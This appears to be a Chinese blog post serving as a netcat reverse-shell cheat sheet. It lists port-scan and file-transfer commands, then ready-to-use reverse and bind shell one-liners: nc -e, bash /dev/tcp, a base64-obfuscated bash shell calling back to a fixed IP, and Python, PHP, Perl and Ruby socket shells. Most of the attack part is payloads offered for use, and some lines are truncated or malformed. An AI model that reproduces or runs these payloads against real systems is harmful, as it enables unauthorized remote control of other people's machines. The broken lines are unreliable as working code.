Windows/Linux 下nc 反弹shell

关注

原创最新推荐文章于 2026-06-30 11:16:40 发布 1.5w 阅读 AI 写同款· GEO 优化 ›

Windows/Linux 下nc 反弹shell

 高二那年班主任对我们说：其实我并不反对你们谈恋爱,
	                 只是你们记得要找一个有担当的,
	                     那些一看见老师就松开你手的，要来有什么用？

NC概述:

nc又名netcat，一个简单而有用的工具，可以干很多事情，但是不可以吃。
何为反弹shell？为什么不反弹攻击?
相信你有一天可以直接把所有攻击反弹回去的.

常用命令

banner获取

nc -nv ip port

连接远程主机

nc -nvv ip port

端口扫描

nc -v ip port            //指定端口
nc -v -z  ip 1-1555         //指定端口段

文件传输

nc  -lvp  8888 < test.txt  服务端
nc -nv 服务端ip 8888 > test.txt 客户端

获取shell

正向shell：客户端想要获取服务器shell

	客户端监听
nc -lvp 8888 -e /bin/sh 
nc -lvp 8888 -e c:\windows\system32\cmd.exe 
	服务端反弹
	nc 服务端ip 8888

反向shell：服务端想要获取客户端器shell

客户端监听
nc -lvp 8888 
服务端反弹
nc ip 8888 -e /bin/sh 
nc ip 8888 -e c:\windows\system32\cmd.exe

没有nc是，由于各种环境不同，可以结合天时地利人和。

Bash

bash -i >& /dev/tcp/ip/port 0>&1
base64版 
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMzUvNzg5MCAwPiYx|{base64,-d}|{bash,-i}'

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

perl

Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby

ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc反弹nc

nc -e /bin/bash ip port

成功反弹shll
在这里插入图片描述

余生很长，请多指教。
在这里插入图片描述

收录于

渗透杂项

标签

#nc #反弹shll

本内容遵循 CC 4.0 BY-SA 版权协议

反弹shell的方法和场景 nc64.exe -lvvp 1111 -e C:\Windows\System32\cmd.exe windows机器nc64.exe -lvvp 1111 -e /bin/bash linux机器。阅读详情

Windows/Linux 下nc 反弹shell

Windows/Linux 下nc 反弹shell

NC概述:

获取shell

相关推荐